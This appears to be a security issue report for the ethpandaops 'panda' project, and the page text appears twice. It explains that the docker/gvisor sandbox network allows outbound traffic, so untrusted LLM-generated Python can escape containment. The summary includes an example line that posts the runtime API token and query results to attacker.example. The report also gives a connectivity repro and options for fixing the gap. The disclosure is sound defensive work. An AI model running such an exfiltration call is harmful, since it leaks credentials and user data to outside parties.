Summary
The docker/gvisor sandbox backends place each sandbox container on the ethpandaops-panda-internal bridge network, which is not marked internal, so containers have full outbound NAT. Untrusted, LLM-generated Python running in the sandbox can therefore make arbitrary outbound network requests — it can exfiltrate the per-execution runtime token and any query results it holds to an external host, phone home, or reach internal services on the pod/host network.
# runs today in the docker sandbox
import httpx
httpx.post("https://attacker.example/collect", json={"token": os.environ["ETHPANDAOPS_API_TOKEN"], "rows": df.to_dict()})
Why the current justification no longer holds
docker-compose.yaml documents the reason the network is not internal:
# Network for sandbox containers to reach datasources.
# Not marked internal so containers can resolve external DNS for
# ClickHouse, Prometheus, and Loki connections.
That rationale is stale. Sandbox code no longer talks to datasources directly — it calls back into server, which routes through proxy (the AGENTS.md guardrail: "sandboxed Python calls back into server, never directly into proxy"). All three sandbox call paths confirm it:
sandbox/ethpandaops/ethpandaops/_runtime.py → ETHPANDAOPS_API_URL (the server)
sandbox/ethpandaops/ethpandaops/storage.py → same server client
modules/evm/python/evm.py → routes through ethpandaops.ethnode (the server), and evm.faucet() only returns a URL string
Nothing in the sandbox needs outbound internet. The one legitimate egress — the server callback — could be reached over an internal-only network (or, like the new direct backend, a unix socket).
Impact
- Confidentiality: the runtime token and any data the sandbox pulls can leave the boundary.
- This is the same class of hole just closed for the
direct backend (empty netns + unix-socket callback). The direct fix does not cover docker/gvisor.
Options
- Mark the sandbox network
internal: true and give the container a route to the server only (server reachable on the internal network, or via the same unix-socket callback the direct backend now uses).
- Add an explicit egress-allowlist / default-deny in front of the sandbox network.
- Config escape hatch for the rare deployment that genuinely needs sandbox egress, defaulting to deny.
This needs a behavior change + release note for existing docker deployments, so it was scoped out of the direct-backend hardening PR and filed here.
Repro
docker compose up -d, then panda execute --code 'import socket; socket.create_connection(("1.1.1.1", 443), 3); print("reachable")' — prints reachable.
Summary
The
docker/gvisorsandbox backends place each sandbox container on theethpandaops-panda-internalbridge network, which is not markedinternal, so containers have full outbound NAT. Untrusted, LLM-generated Python running in the sandbox can therefore make arbitrary outbound network requests — it can exfiltrate the per-execution runtime token and any query results it holds to an external host, phone home, or reach internal services on the pod/host network.Why the current justification no longer holds
docker-compose.yamldocuments the reason the network is notinternal:That rationale is stale. Sandbox code no longer talks to datasources directly — it calls back into
server, which routes throughproxy(theAGENTS.mdguardrail: "sandboxed Python calls back intoserver, never directly intoproxy"). All three sandbox call paths confirm it:sandbox/ethpandaops/ethpandaops/_runtime.py→ETHPANDAOPS_API_URL(the server)sandbox/ethpandaops/ethpandaops/storage.py→ same server clientmodules/evm/python/evm.py→ routes throughethpandaops.ethnode(the server), andevm.faucet()only returns a URL stringNothing in the sandbox needs outbound internet. The one legitimate egress — the server callback — could be reached over an internal-only network (or, like the new
directbackend, a unix socket).Impact
directbackend (empty netns + unix-socket callback). Thedirectfix does not coverdocker/gvisor.Options
internal: trueand give the container a route to the server only (server reachable on the internal network, or via the same unix-socket callback the direct backend now uses).This needs a behavior change + release note for existing docker deployments, so it was scoped out of the
direct-backend hardening PR and filed here.Repro
docker compose up -d, thenpanda execute --code 'import socket; socket.create_connection(("1.1.1.1", 443), 3); print("reachable")'— printsreachable.